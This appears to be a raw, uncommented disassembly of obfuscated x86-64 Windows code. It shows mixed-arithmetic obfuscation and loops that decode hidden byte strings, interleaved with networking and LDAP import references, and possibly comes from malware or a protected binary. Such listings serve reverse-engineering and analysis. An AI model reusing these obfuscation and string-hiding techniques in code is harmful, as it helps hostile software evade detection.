jne 0x14014abc5
movabs rdx, 0xa2d0342de1309e8c
mov ecx, reloc.WLDAP32.dll_Ordinal_22
jmp 0x14014ae01
lea rax, [r9 + 3]
cmp rbx, rax
jne 0x14014abf2
movabs rcx, 0xbaca523b673e7aec
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x74
jmp 0x14014aed4
lea rax, [r9 + 7]
cmp rbx, rax
jne 0x14014aa28
movabs rcx, 0x80c8d9bec8c1f204
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, r11b
jmp 0x14014ad73
lea rax, [r9 + 1]
cmp rbx, rax
jne 0x14014ac3e
movabs rdx, 0x7bc23b8dff9189f0
mov ecx, Ordinal_60
jmp 0x14014aaac
lea rax, [r9 + 2]
cmp rbx, rax
jne 0x14014ac6a
movabs rcx, 0x41c0c31161150108
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x38
jmp 0x14014af07
lea rax, [r9 + 5]
cmp rbx, rax
jne 0x14014ac96
movabs rcx, 0x93bc599b859f6650
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x30
jmp 0x14014aed1
lea rax, [r9 + 6]
cmp rbx, rax
jne 0x14014acc6
movabs rdx, 0x59bae11ee722dd68
add rdx, r10
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x14014aea6
lea rax, [r9 + 4]
cmp rbx, rax
jne 0x14014acf2
movabs rcx, 0x1fb968a248a65480
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, 0x80
jmp 0x14014ae7c
lea rax, [r9 + 3]
cmp rbx, rax
jne 0x14014aa64
movabs rcx, 0xe5b7f025aa29cb98
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x28
jmp 0x14014ae58
movabs rdx, 0x37b386afceb430e0
add rdx, r10
mov al, r8b
and al, dl
add al, al
mov dil, byte [rbp + r10 + 0xc10]
sub dil, al
sub dil, 0x20
jmp 0x14014aea0
movabs rdx, 0xfdb20e333037a7f8
add rdx, r10
mov al, r8b
and al, dl
mov ecx, r11d
sub cl, al
lea edi, [rcx + rcx]
sub dil, byte [rbp + r10 + 0xc10]
add dil, r8b
add dil, dl
movabs rdx, 0xe0b151f4e0f96384
add rdx, r10
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
add cl, cl
add cl, dl
add cl, r8b
movzx eax, cl
mov byte [rbp + r10 + 0xc10], al
add r9, rsi
add rax, r9
sub r10, rax
jmp 0x14014af07
movabs rcx, 0x42e7bbf7c8f92d0c
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x54
jmp 0x14014aed4
movabs rdx, 0xb6eaacf105f23edc
add rdx, r10
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 4
jmp 0x14014aea3
movabs rdx, 0x2aed9dea42eb50ac
mov ecx, Ordinal_41
add rdx, r10
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x14014ae58
movabs rcx, 0x64ef1666e167d994
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0xc
movabs rcx, 0x54b442ee1df27554
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x4c
add cl, r8b
mov byte [rbp + r10 + 0xc10], cl
add r9, rsi
jmp 0x14014ae7c
movabs rcx, 0x4cf4f8595b59fd34
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x6c
sub r10, rsi
jmp 0x14014af69
movabs rdx, 0x86f670d5f9d6861c
add rdx, r10
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
movabs rdx, 0x1ab2ca717f75ec6c
add rdx, r10
mov al, dl
and al, r8b
mov ecx, 6
sub cl, al
add cl, cl
add cl, dil
add cl, dl
add cl, r8b
mov byte [rbp + r10 + 0xc10], cl
add rbx, r9
movzx eax, dil
or rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
jmp 0x14014af69
movabs rdx, 0x6efc52c873c8a9bc
add rdx, r10
mov al, dl
and al, r11b
add al, al
mov dil, r11b
sub dil, al
add dil, dl
sub dil, r12b
movabs rcx, 0xc3b095b691bb1f10
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
sub r8b, 0x70
add r8b, cl
mov byte [rbp + r10 + 0xc10], r8b
add rbx, rsi
or rax, 0xffffffffffffffff
sub rax, rbx
add r10, rax
jmp 0x14014af5a
movabs rcx, 0xa8fdcb45124532a4
add rcx, r10
mov al, r11b
and al, cl
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x7c
movzx eax, byte [rbp + r10 + 0xc10]
add rax, r9
add r10, rax
add r10, rsi
jmp 0x14014a575
movabs rcx, 0xee9e33a0d4a66fbc
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, r12b
jmp 0x14014a56d
movabs rcx, 0x289fac1d7322f8a4
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x7c
jmp 0x14014a557
lea rdx, [rbp + 0x16a0e20]
jmp 0x14014afd1
lea rdx, [rbp + 0x6bc9ac]
jmp 0x14014afd1
lea rdx, [rbp + 0xc10]
lea rcx, [rbp + 0x4a0]
call fcn.1400ca428
mov rbx, rax
mov qword [rsp + 0x58], rax
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x1db0]
call sub.VCRUNTIME140.dll_memset
mov rdx, rbx
cmp qword [rbx + 0x18], 7
jbe 0x14014b006
mov rdx, qword [rbx]
mov dword [rsp + 0x20], esi
mov r15d, 0x40
mov r9d, r15d
lea r14d, [r15 - 0x3e]
mov r8d, r14d
lea rcx, [rbp + 0x1db0]
call fcn.1400ca2f0
nop
lea rcx, [rbp + 0x1db0]
call fcn.1401aa1b8
nop
lea rcx, [rbp + 0x1db0]
call fcn.14008b580
nop
mov rcx, rbx
call fcn.140091e30
mov byte [rbp + 0x8c0], 0x9b
mov byte [rbp + 0x8c1], reloc.WLDAP32.dll_Ordinal_217
mov byte [rbp + 0x8c2], 0x90
mov byte [rbp + 0x8c3], 0xdb
mov byte [rbp + 0x8c4], reloc.WS2_32.dll_WSASetLastError
mov byte [rbp + 0x8c5], Ordinal_217
mov byte [rbp + 0x8c6], 0x7b
mov byte [rbp + 0x8c7], Ordinal_217
mov byte [rbp + 0x8c8], 0x43
mov byte [rbp + 0x8c9], Ordinal_211
mov byte [rbp + 0x8ca], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0x8cb], reloc.WLDAP32.dll_Ordinal_211
mov byte [rbp + 0x8cc], 0x5e
mov byte [rbp + 0x8cd], Ordinal_211
mov byte [rbp + 0x8ce], 0x5d
mov byte [rbp + 0x8cf], Ordinal_211
mov byte [rbp + 0x8d0], WSASetLastError
mov byte [rbp + 0x8d1], 0xc9
mov byte [rbp + 0x8d2], 0x7a
mov byte [rbp + 0x8d3], 0xcb
mov byte [rbp + 0x8d4], Ordinal_79
mov byte [rbp + 0x8d5], Ordinal_200
mov byte [rbp + 0x8d6], 0x64
mov byte [rbp + 0x8d7], Ordinal_200
mov byte [rbp + 0x8d8], 0x54
mov byte [rbp + 0x8d9], 0xc1
mov byte [rbp + 0x8da], 0x5b
mov byte [rbp + 0x8db], Ordinal_200
mov byte [rbp + 0x8dc], 0x9f
mov byte [rbp + 0x8dd], 0x3d
mov byte [rbp + 0x8de], 0x9a
mov byte [rbp + 0x8df], 0x3f
mov byte [rbp + 0x8e0], 0x84
mov byte [rbp + 0x8e1], reloc.WS2_32.dll_gethostname
mov byte [rbp + 0x8e2], 0xa8
mov byte [rbp + 0x8e3], Ordinal_60
mov byte [rbp + 0x8e4], 0xad
mov byte [rbp + 0x8e5], gethostname
mov byte [rbp + 0x8e6], 0xb8
mov byte [rbp + 0x8e7], Ordinal_60
mov byte [rbp + 0x8e8], 0xad
mov byte [rbp + 0x8e9], Ordinal_50
mov byte [rbp + 0x8ea], 0xa0
mov byte [rbp + 0x8eb], gethostname
mov byte [rbp + 0x8ec], 0xbf
mov byte [rbp + 0x8ed], reloc.WLDAP32.dll_Ordinal_45
mov byte [rbp + 0x8ee], 0x78
mov byte [rbp + 0x8ef], Ordinal_50
mov byte [rbp + 0x8f0], Ordinal_143
mov byte [rbp + 0x8f1], reloc.WLDAP32.dll_Ordinal_41
mov byte [rbp + 0x8f2], 0xb3
mov byte [rbp + 0x8f3], Ordinal_46
mov byte [rbp + 0x8f4], 0xb2
mov byte [rbp + 0x8f5], Ordinal_41
mov byte [rbp + 0x8f6], Ordinal_41
mov byte [rbp + 0x8f7], Ordinal_41
xor eax, eax
mov qword [rbp + 0x8f8], rax
mov dword [rbp + 0x900], eax
mov word [rbp + 0x904], ax
mov byte [rbp + 0x906], al
mov bl, byte [rsp + 0x50]
call fcn.1401abe8c
mov rdi, qword [rax]
call fcn.1401abe94
mov r10, qword [rax]
mov r9, r13
cmp r9, 0x47
jae 0x14014bd1b
movzx r8d, byte [rbp + r9 + 0x8c0]
mov rdx, r8
cmp rdi, r9
ja 0x14014bd12
lea rax, [r10 + 1]
cmp rdi, rax
jae 0x14014b24f
movabs r11, 0x76773772b8399364
lea rcx, [r9 + r11]
mov rax, rcx
and rax, rdx
imul rbx, rax, 0xfffffffffffffffe
add rbx, rcx
add rbx, rdx
add bl, 0x44
jmp 0x14014b286
je 0x14014bc8e
lea rax, [r10 + 3]
cmp rdi, rax
je 0x14014bc5e
lea rax, [r10 + 2]
cmp rdi, rax
je 0x14014bc3b
lea rax, [r10 + 7]
cmp rdi, rax
je 0x14014bbed
movabs r11, 0x76773772b8399364
cmp r10, r9
ja 0x14014bd09
lea rax, [r10 + 0x28]
cmp rdi, rax
jae 0x14014b2b9
movabs rdx, 0xb7c78c691cb91734
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x6c
jmp 0x14014b47c
lea rax, [r10 + 1]
cmp rdi, rax
je 0x14014bbdc
lea rax, [r10 + 3]
cmp rdi, rax
je 0x14014bbb9
lea rax, [r10 + 2]
cmp rdi, rax
je 0x14014bb6f
lea rax, [r10 + 5]
cmp rdi, rax
je 0x14014bb49
lea rax, [r10 + 6]
cmp rdi, rax
je 0x14014babe
lea rax, [r10 + rdi]
cmp rax, r9
jbe 0x14014b75d
lea rax, [r10 + 2]
cmp rdi, rax
je 0x14014b737
lea rax, [r10 + 0x42]
cmp rdi, rax
je 0x14014b714
lea rax, [r10 + 1]
cmp rdi, rax
je 0x14014b702
lea rax, [r10 + 0x40]
cmp rdi, rax
je 0x14014b6e1
lea rax, [r10 + 0x2a]
cmp rdi, rax
je 0x14014b6bb
lea rax, [r10 + 0x28]
cmp rdi, rax
je 0x14014b698
lea rax, [r10 + 0x64]
cmp rdi, rax
je 0x14014b684
lea rdi, [r10 + 0x5a]
lea r10, [rdi + 0x40]
lea rax, [r10 + 0x20]
cmp rdi, rax
jb 0x14014bce6
lea rax, [r10 + 0x41]
cmp rdi, rax
jb 0x14014bcc0
lea rax, [r10 + 0x10]
cmp rdi, rax
jb 0x14014b4a9
lea rax, [r10 + 0x40]
cmp rdi, rax
jb 0x14014b483
lea rax, [r10 + 0x2a]
cmp rdi, rax
jb 0x14014b460
lea rax, [r10 + 0x28]
cmp rdi, rax
jb 0x14014b66d
lea rax, [r10 + 0x5a]
cmp rdi, rax
jb 0x14014b5e5
mov rdi, rax
lea r10, [rax + 0x7a]
lea rax, [r10 + 0x20]
cmp rdi, rax
ja 0x14014b5d1
lea rax, [r10 + 0x41]
cmp rdi, rax
ja 0x14014b5b0
lea rax, [r10 + 0x10]
cmp rdi, rax
ja 0x14014b59c
lea rax, [r10 + 0x7a]
cmp rdi, rax
ja 0x14014b579
lea rax, [r10 + 0xa]
cmp rdi, rax
ja 0x14014b557
lea rax, [r10 + 0x61]
cmp rdi, rax
ja 0x14014b536
lea rcx, [r10 + 9]
cmp rdi, rcx
ja 0x14014b513
lea rax, [r10 + 0x1000]
cmp rdi, rax
ja 0x14014b4ed
lea rax, [r10 + 8]
cmp rdi, rax
ja 0x14014b4cc
lea rax, [r10 + 0x400]
cmp rdi, rax
ja 0x14014b307
mov rdi, rcx
lea r10, [rcx + 6]
jmp 0x14014b307
movabs rdx, 0x52bb1b4a0743074c
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x14
add bl, dl
jmp 0x14014b2fa
movabs rdx, 0x65ccac6496cfe084
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14014b286
movabs rdx, 0x78de3d7f265cb9bc
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
add bl, dl
sub bl, r12b
jmp 0x14014b217
movabs rdx, 0xbe3c6348e5c8b9a0
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x60
jmp 0x14014bc0c
movabs rdx, 0xd14df463755592d8
mov ecx, recv
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14014bc36
movabs rcx, 0xe45f857e04e26c10
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x70
jmp 0x14014bc59
movabs rdx, 0xf7711698946f4548
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 4
sub cl, al
lea ebx, [rcx + rcx]
jmp 0x14014ba8e
movabs rcx, 0xa82a7b323fc1e80
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
add bl, 0x80
jmp 0x14014bc7c
movabs rcx, 0x1d9438cdb388f7b8
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 8
jmp 0x14014bc7f
movabs rdx, 0x30a5c9e84315d0f0
mov ecx, Ordinal_60
jmp 0x14014bacd
movabs rdx, 0x43b75b02d2a2aa28
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x18
jmp 0x14014b932
movabs rdx, 0x56c8ec1d622f8360
mov ecx, Ordinal_50
jmp 0x14014b7d9
movabs rdx, 0x2c97f914e82954dc
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 4
add bl, dl
cmp rdi, 4
jae 0x14014ba6d
lea rax, [r10 + 0x3e8]
cmp rdi, rax
jbe 0x14014b969
movabs rdx, 0xf22fc2bf02713608
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x38
add bl, dl
cmp r10, 4
jb 0x14014ba60
movabs rcx, 0x338017b566f0b9d8
add rcx, r9
mov al, cl
and al, r8b
mov edx, recv
sub dl, al
add dl, dl
add dl, cl
add dl, r8b
lea ebx, [rdx + rdx]
jmp 0x14014bc0e
movabs rdx, 0x3fa98a2f77b62e14
add rdx, r9
mov ecx, Ordinal_60
jmp 0x14014b76f
movabs rdx, 0x74d06cabcb703da8
mov ecx, 0x34
jmp 0x14014bacd
movabs rcx, 0x87e1fdc65afd16e0
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x20
jmp 0x14014bc7f
movabs rdx, 0x9af38ee0ea89f018
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_46
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14014bc7c
movabs rdx, 0xae051ffb7a16c950
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x30
jmp 0x14014ba91
movabs rdx, 0xc116b11609a3a288
mov ecx, r12d
jmp 0x14014bbc8
movabs rcx, 0xd428423099307bc0
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, r15b
jmp 0x14014bc36
movabs rdx, 0xe739d34b28bd54f8
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_32
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14014bc0e
lea rax, [r10 + 0x41]
cmp rdi, rax
jae 0x14014b7c1
lea rdx, [r9 + r11]
mov ecx, Ordinal_35
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
lea rax, [r10 + rdi]
cmp rax, 0x1000
je 0x14014ba98
lea rax, [r10 + 0xa]
cmp rdi, rax
jbe 0x14014b85a
movabs rdx, 0x3a683655e5b81ed4
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14014b603
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x14014b7f0
movabs rdx, 0x6f8f18d239722e68
mov ecx, reloc.WS2_32.dll_sendto
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14014bca9
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x14014b80d
movabs rdx, 0x496bf69d1a587bf8
mov ecx, Ordinal_32
jmp 0x14014bacd
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x14014b839
movabs rcx, 0x365a65828acba2c0
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, r15b
jmp 0x14014bc7f
lea rax, [r10 + 4]
cmp rdi, rax
jne 0x14014b77e
movabs rdx, 0xfd25b232dc251718
mov ecx, Ordinal_46
jmp 0x14014bbc8
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x14014b884
movabs rdx, 0x2756a53b562b459c
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x44
jmp 0x14014bc0c
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x14014b8b3
movabs rdx, 0x14451420c69e6c64
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_35
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14014bc36
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x14014b8df
movabs rcx, 0xdb1060d117f7e0bc
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, r12b
jmp 0x14014bc7c
lea rax, [r10 + 7]
cmp rdi, rax
jne 0x14014b90a
movabs rcx, 0xb4ed3e9bf8de2e4c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x14
jmp 0x14014badf
lea rax, [r10 + 6]
cmp rdi, rax
jne 0x14014b939
movabs rdx, 0xa1dbad8169515514
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_60
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14014bb13
lea rax, [r10 + 9]
cmp rdi, rax
jne 0x14014b603
movabs rcx, 0x8eca1c66d9c47bdc
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 4
jmp 0x14014bca9
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x14014b986
movabs rdx, 0xdf1e31a472e45cd0
mov ecx, Ordinal_41
jmp 0x14014b7d9
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x14014b9a3
movabs rdx, 0xb8fb0f6f53caaa60
mov ecx, Ordinal_50
jmp 0x14014bacd
lea rax, [r10 + 4]
cmp rdi, rax
jne 0x14014b9c0
movabs rdx, 0x92d7ed3a34b0f7f0
mov ecx, Ordinal_60
jmp 0x14014bb58
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x14014b9ea
movabs rdx, 0x7fc65c1fa5241eb8
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 8
jmp 0x14014ba91
lea rax, [r10 + 7]
cmp rdi, rax
jne 0x14014ba15
movabs rcx, 0x6cb4cb0515974580
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
add bl, 0x80
jmp 0x14014bc59
lea rax, [r10 + 6]
cmp rdi, rax
jne 0x14014ba32
movabs rdx, 0x59a339ea860a6c48
mov ecx, 4
jmp 0x14014b4fc
lea rax, [r10 + 9]
cmp rdi, rax
jne 0x14014b63b
movabs rdx, 0x4691a8cff67d9310
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x70
jmp 0x14014bc0c
mov byte [rbp + r9 + 0x8c0], bl
jmp 0x14014bcb8
movabs rdx, 0x206e869ad763e0a0
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, byte [rbp + r9 + 0x8c0]
sub bl, al
sub bl, 0x60
add bl, r8b
add bl, dl
jmp 0x14014bb8c
movabs rdx, 0xd5cf58047d70768
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea ebx, [rcx + rcx]
sub bl, byte [rbp + r9 + 0x8c0]
jmp 0x14014bada
movabs rdx, 0x324c94af2fdf26ac
mov ecx, Ordinal_41
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
movabs rdx, 0x83d42cf300109acc
add rdx, r9
mov al, dl
and al, r8b
mov ecx, gethostname
sub cl, al
add cl, cl
add cl, dl
add cl, r8b
movzx eax, cl
mov byte [rbp + r9 + 0x8c0], al
add r10, rsi
add rax, r10
sub r9, rax
movabs rcx, 0xfa4b6465b84a2e30
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x50
add cl, r8b
mov byte [rbp + r9 + 0x8c0], cl
add rdi, rsi
or rax, 0xffffffffffffffff
sub rax, rdi
add r9, rax
jmp 0x14014bca9
movabs rdx, 0x586fb6e44ef8d91c
mov ecx, reloc.WLDAP32.dll_Ordinal_30
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14014bc7c
movabs rcx, 0x6b8147fede85b254
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x4c
movabs rdx, 0x96e5be0d8f9d7404
add rdx, r9
mov al, dl
and al, r8b
add al, al
mov cl, bl
sub cl, al
sub cl, 0x1c
add cl, dl
add cl, r8b
mov byte [rbp + r9 + 0x8c0], cl
jmp 0x14014bc7c
movabs rdx, 0x7e92d9196e128b8c
mov ecx, reloc.WLDAP32.dll_Ordinal_22
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14014bc59
movabs rdx, 0xa4b5fb4e8d2c3dfc
mov ecx, reloc.WS2_32.dll_ntohl
jmp 0x14014bbfc
movabs rdx, 0xcad91d83ac45f06c
mov ecx, 6
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
movabs rdx, 0xa9f74f281f2a4d3c
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
add cl, cl
add cl, dl
add cl, r8b
mov byte [rbp + r9 + 0x8c0], cl
add r10, rsi
jmp 0x14014bc59
movabs rcx, 0xf0fc3fb8cb5fa2dc
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 4
sub r9, rsi
jmp 0x14014bcb8
movabs rcx, 0x171f61edea79554c
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x14
add rdi, r10
movzx eax, bl
or rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
jmp 0x14014bcb8
movabs rcx, 0x6365a65828acba2c
add rcx, r9
mov al, cl
and al, dl
add al, al
sub cl, al
lea ebx, [rdx + rcx]
sub bl, 0x34
movzx eax, byte [rbp + r9 + 0x8c0]
add rax, r10
add r9, rax
add r9, rsi
jmp 0x14014b204
movabs rdx, 0x8befce99b5e992f4
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_46
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14014b201
movabs rcx, 0x9f015fb445766c2c
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x34
jmp 0x14014b1f1
lea rdx, [rbp + 0x16f0ff0]
jmp 0x14014bd22
lea rdx, [rbp + 0x68a354]
jmp 0x14014bd22
lea rdx, [rbp + 0x8c0]
lea rcx, [rbp + 0x4c0]
call fcn.1400ca428
mov rbx, rax
mov qword [rsp + 0x58], rax
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x1ec0]
call sub.VCRUNTIME140.dll_memset
mov rdx, rbx
cmp qword [rbx + 0x18], 7
jbe 0x14014bd57
mov rdx, qword [rbx]
mov dword [rsp + 0x20], esi
mov r9d, r15d
mov r8d, r14d
lea rcx, [rbp + 0x1ec0]
call fcn.1400ca2f0
nop
lea rcx, [rbp + 0x1ec0]
call fcn.1401aa1b8
nop
lea rcx, [rbp + 0x1ec0]
call fcn.14008b580
nop
mov rcx, rbx
call fcn.140091e30
mov byte [rbp + 0x780], 0xcb
mov byte [rbp + 0x781], Ordinal_143
mov byte [rbp + 0x782], 0xac
mov byte [rbp + 0x783], 0xf3
mov byte [rbp + 0x784], Ordinal_79
mov byte [rbp + 0x785], 0xf1
mov byte [rbp + 0x786], WSACleanup
mov byte [rbp + 0x787], 0xf7
mov byte [rbp + 0x788], 0x55
mov byte [rbp + 0x789], 0xf5
mov byte [rbp + 0x78a], 0xa2
mov byte [rbp + 0x78b], 0xfb
mov byte [rbp + 0x78c], 0x66
mov byte [rbp + 0x78d], 0xf9
mov byte [rbp + 0x78e], 0x55
mov byte [rbp + 0x78f], 0xff
mov byte [rbp + 0x790], 0x59
mov byte [rbp + 0x791], 0xfd
mov byte [rbp + 0x792], WSACleanup
mov byte [rbp + 0x793], 0xe3
mov byte [rbp + 0x794], 0x47
mov byte [rbp + 0x795], 0xe1
mov byte [rbp + 0x796], Ordinal_79
mov byte [rbp + 0x797], 0xe7
mov byte [rbp + 0x798], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0x799], 0xe5
mov byte [rbp + 0x79a], 0x42
mov byte [rbp + 0x79b], 0xeb
mov byte [rbp + 0x79c], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0x79d], 0xe9
mov byte [rbp + 0x79e], r15b
mov byte [rbp + 0x79f], 0xef
mov byte [rbp + 0x7a0], 0xb8
mov byte [rbp + 0x7a1], 0xed
mov byte [rbp + 0x7a2], 0x87
mov byte [rbp + 0x7a3], reloc.WLDAP32.dll_Ordinal_211
mov byte [rbp + 0x7a4], 0x44
mov byte [rbp + 0x7a5], Ordinal_211
mov byte [rbp + 0x7a6], r15b
mov byte [rbp + 0x7a7], Ordinal_217
mov byte [rbp + 0x7a8], 0x81
mov byte [rbp + 0x7a9], Ordinal_217
mov byte [rbp + 0x7aa], 0x7e
mov byte [rbp + 0x7ab], 0xdb
mov byte [rbp + 0x7ac], 0x7c
mov byte [rbp + 0x7ad], reloc.WLDAP32.dll_Ordinal_217
mov byte [rbp + 0x7ae], WSACleanup
mov byte [rbp + 0x7af], 0xdf
mov byte [rbp + 0x7b0], Ordinal_143
mov byte [rbp + 0x7b1], 0xdd
mov byte [rbp + 0x7b2], 0x64
mov byte [rbp + 0x7b3], Ordinal_200
mov byte [rbp + 0x7b4], WSAGetLastError
mov byte [rbp + 0x7b5], 0xc1
mov byte [rbp + 0x7b6], 0x54
mov byte [rbp + 0x7b7], Ordinal_200
mov byte [rbp + 0x7b8], Ordinal_200
mov byte [rbp + 0x7b9], Ordinal_200
xor eax, eax
mov dword [rbp + 0x7ba], eax
mov word [rbp + 0x7be], ax
mov bl, byte [rsp + 0x50]
call fcn.1401abe8c
mov rdi, qword [rax]
call fcn.1401abe94
mov r10, qword [rax]
mov r9, r13
cmp r9, r15
jae 0x14014cb3c
movzx r8d, byte [rbp + r9 + 0x780]
mov r11, r8
cmp rdi, r9
ja 0x14014cb33
lea rax, [r10 + 1]
cmp rdi, rax
jae 0x14014bf95
movabs rcx, 0xda32561d88143dbe
add rcx, r9
mov rax, rcx
and rax, r8
imul rbx, rax, 0xfffffffffffffffe
add rbx, rcx
add rbx, r8
sub bl, 0x32
jmp 0x14014bfcf
je 0x14014caa6
lea rax, [r10 + 2]
cmp rdi, rax
je 0x14014ca4f
lea rax, [r10 + 3]
cmp rdi, rax
je 0x14014c9f8
lea rax, [r10 + 6]
cmp rdi, rax
je 0x14014c9cf
lea rax, [r10 + 8]
cmp rdi, rax
je 0x14014c985
